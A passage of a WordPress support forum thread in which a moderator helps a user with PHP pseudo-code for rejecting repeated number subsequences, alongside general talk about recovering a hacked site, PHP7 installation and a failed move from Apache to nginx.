    you remember that not only are 15 random numbers, but 15 mumbers generated between 1 and 25 .. is a “rand” between 1 and 25 and takes 15 to 10 leaves off.
    ie between the returned values greater than 15 numbers happen, since it is between 1 and 25.
    and one more detail, are not the complete results manually added the variables that can not get out, but. partial(7 limit repetitions) sequences of these 15 numbers manually added to the var not_allowed.
    this is one of the previous Full(15 numbers) results recorded manually in not allowed matrix.
    15 01 16 02 07 03 05 08 25 21 18 06 24 19 10

    15 01 16 02 07 03 05 and this 01 16 02 07 03 05 08 and this 16 02 07 03 05 08 25 and this 16 02 07 03 05 08 25

    the code has to analyze the numbers and not let repeat up to 7 of them can repeat a smaller number of numbers, 7 or more can not.

    Thanks BCWork’S ??

    Moderator bcworkz

    (@bcworkz)

    I’m sorry I can’t help much with PHP7. Do you have the latest O/S version? When I updated my Linux O/S (Ubuntu), PHP7 just showed up with the rest of the updates! You may get better help with PHP7 in your O/S’ dedicated forums, or maybe one of the stackexchange and stackoverflow sites have O/S forums? I don’t know, I’ve never bothered to look.

    That is terrible news that you’ve been hacked! :(( Cleaning up the mess is a lot of work. Maybe some advice in FAQ My site was hacked will be helpful. The best response is to wipe everything and restore from a clean backup.

    Once you are back up and running, some of the advice in Hardening WordPress might help. Even though you’ve effectively blocked a lot of avenues of attack, all it takes is one small oversight to let the hackers in. On localhost, if possible, you should block all incoming requests except from ip 127.0.0.1. in your server’s applicable .conf file, usually httpd.conf or apache2.conf I believe. Of course you cannot do this on servers meant to be publicly accessible. This is one reason it’s good to develop on localhost, if outside access is blocked, you do not have to worry about insecure code. Just be sure it is secure before installing on a publicly accessible server.

    It may not be possible to figure out how the hackers got in. It could be some plugin you are using has a security flaw. Depending on where you downloaded a plugin, it could possibly even have a built in backdoor already in place. Be careful where you get plugins from. It’s also possible some code you wrote has a security flaw. This is not too likely unless your code allows file uploads or editing.

    Back to random numbers. My English logic description contained very little valid PHP code. My memory is terrible, I always have to look up the proper syntax when I code. I can write out English pseudo code quickly because syntax doesn’t matter. Writing correct code takes me much longer. I left that to you, hoping that you would learn something in the process ?? I mainly used $variable_name syntax in my pseudo-code so it was clear what is a variable and what is just descriptive text. Nothing else should be considered PHP, though I may have accidentally used proper syntax somewhere.

    I assumed the arrays in $not_allowed were all full 15 number sequences. If partial sequences also occur, we will need more elaborate code than just if ($test === $trial). It also makes a difference if the smaller sequences should not occur anywhere in the full sequence of 15, or if the first 7 numbers must not match, or if interceding numbers are OK or not, or if the individual numbers are not to be repeated, etc.

    In other words, it’s difficult to communicate the exact criteria needed to accept or reject a possible sequence. I can guess, but I could guess wrong. There’s all sorts of different array operations available to accomplish many tasks. In some cases it may make sense to build a temporary output string from the arrays being compared, then use the various string functions to check whether there’s a match or not. Since the strings are only used internally and not used for output, the conversion to string could simply be implode().

    Guessing at what you’re after and using the temporary string idea, the logic might be:
    Once $trial is built, implode it and assign to $trial_str
    foreach $not_allowed element as $test {
    implode $test and assign to $test_str
    if false !== strpos( $trial_str, $test_str ) then {
    set $not_unique as true
    terminate loop (break)
    }
    set $not_unique as false
    } //end foreach

    There is a logic flaw in my previous example, $not_unique must be reset as true when the arrays match. It’s also more efficient to break the loop instead of continuing it. This logic change is reflected in this last example. It’s sometimes hard to properly think through logic. It can sometimes help to run a test loop to ensure the logic works, but I can’t do that without proper PHP syntax. Mistakes will happen.

    Thread Starter herculesnetwork

    (@herculesnetwork)

    I had following several tutorials on how to install php7 and none of them work for me in based debian, I do not have the courage to play with it in my hundreds in my VPS srsrs I’ll have to get a disk usb to install a distro redhat based to do this in mylocalhost and only then to get more confidence in my VPS, I’ve been seeing it is a must I climb to the php7, a lot new things.

    On safety, it certainly was not any my code, because everything I do on a do website in another, only thing I did was write strings to close with tags in an ads space of my theme, and another second action was I have installed a plugin called Adblock Notify by themeisle I uninstalled him, and wiped some infected directories, reinstalled this plugin and all dirtied again, this plugin sucks open door for scanners that inject this crap. I am using another plugin that worked much better with less than 50 active users. WP Adblock Dedect.

    I surprise to have my .htaccess modified direct traffics that my field because I did not default .htaccess use, normal with only the basic guidelines of wordpress, I do several increments directories protection, compression file types, redirect 301, and various security directives when I saw this giant code within my .htaccess almost could not believe my eyes. I’ve been wanting to go back to using nginx to be 400% faster than Apache, but I am passionate about the .htaccess possibilities.

    ————————–
    I’ve been thinking a solution on these complexity in analyzing the arrays previously added in variable not_allowed, and simply save the parts of previews results already divided doses, thus eliminating the complexity of the code having to analyze the previous results added manually and not repeat a sequence of 7 of these numbers, it is better to save several parts of manually recorded outputs ??

    we could even have a sliced ??of previews outputs a code that when we played the 15 numbers on it, it would play various fractions that numbers below ??

    then these fractions would be played in not_allowed array ??

    15 01 16 02 07 03 05 08 25 21 18 06 24 19 10

    15 01 16 02 07 03 05 and this 01 16 02 07 03 05 08 and this 16 02 07 03 05 08 25 and this 02 07 03 05 08 25 21 18 and this 07 03 05 08 25 21 18 and 03 05 08 25 21 18 06 24 and 05 08 25 21 18 06 24 and 08 25 21 18 06 24 19 and 25 21 18 06 24 19 10 ??

    9 parts ??

    then I am many hours without sleep, I’ll rest a bit and analyze its teachings.

    Thanks BCWork’S ??

    Moderator bcworkz

    (@bcworkz)

    It does appear PHP7 has some really nice additions. Unfortunately it’ll still be a while before it’s safe to use such features in code meant for public distribution. However, for your own use on your servers, it’s certainly worth implementing if you can manage to get it installed.

    I glad it’s not your code at fault. I had no idea what other code you may have going so thought it was worth mentioning as a possibility. Even better is identifying actual the security hole. Being able to eliminate that hole must have you feeling better about a bad situation.

    The power of .htaccess is very impressive. It also is why it’s a favorite target of hackers. It’s always one of the first things to check when a hack is suspected. I’ve no nginx experience, but was under the impression there is some feature similar to .htaccess that can be used for similar purposes. I suppose whether that will work depends on what one is trying to do.

    It sounds like you may be onto a good idea with using sub-sequences. It’s always exciting to come up with an algorithm that replaces tons of manual labor. Maybe the next step is automating the manual part of populating $not_allowed ??

    While not sleeping is unhealthful, when it happens because you are excited about what you are working on then it’s not so bad as long as it doesn’t continue for days and days. The problem is coding without adequate sleep leads to stupid mistakes in addition to the health issues. Take care of yourself so you can code with a clear mind!

    Thread Starter herculesnetwork

    (@herculesnetwork)

    Hi BCWork’SSS ??

    Sorry my friend, is leaving the topic again, but the world has fallen to me, I say nonsense on top of another on my server without making backups! I asked nine mine sites trying to migrate from Apache to nginx for is lighter, my VPS is cheap and does not need the apache weight, so I tried to disable Apache, activate nginx, not able to do nginx appear on the menu webmin, then I made a nonsense, I removed apache with that, webmin would no longer walk or forward or backward, I could not be removed, but off in the end, formatted my server, and I’ll redo it again, it was a great very stupid my mistake(good advices / tips is configured as a great truth), but my overconfidence made me fall with it, but I see that it was better to have happened something like that, to be able to learn more firmly, my projects are small, the texts I have in other ares of my personal pc, as a big of server configuration that took me weekends to do everything I have to do on the back arm, I do not get to use nginx, I remember having used nginx soon as it was released, but went back to my addiction in use apache, I want a your tip, your ubuntu server already comes with php7? which panel you use? I’m thinking of leaving the hundreds, go to debian or ubuntu ?? I will have to put in the air again and my sites will not be left me time to resolve these issue for ‘my father’, but I do want to learn and understand this, and I hope you come back treat it with me so pass these terrible days ?? I could at least have to use a WordPress backup Plugin UpdraftPlus or Duplicator I think PERFECT, not to save the whole server, but at least the websites individually, there is even cron to backup external drives clouds, I messed up very, very foolishly: / you know any good panel for full backup of the server? and where you get that ubuntu with the package with php7? what service do you use?

    ??Thanks Again ??

Viewing 15 replies - 1 through 15 (of 16 total)
  • The topic ‘how to add values of a variable with string, within another variable also string’ is closed to new replies.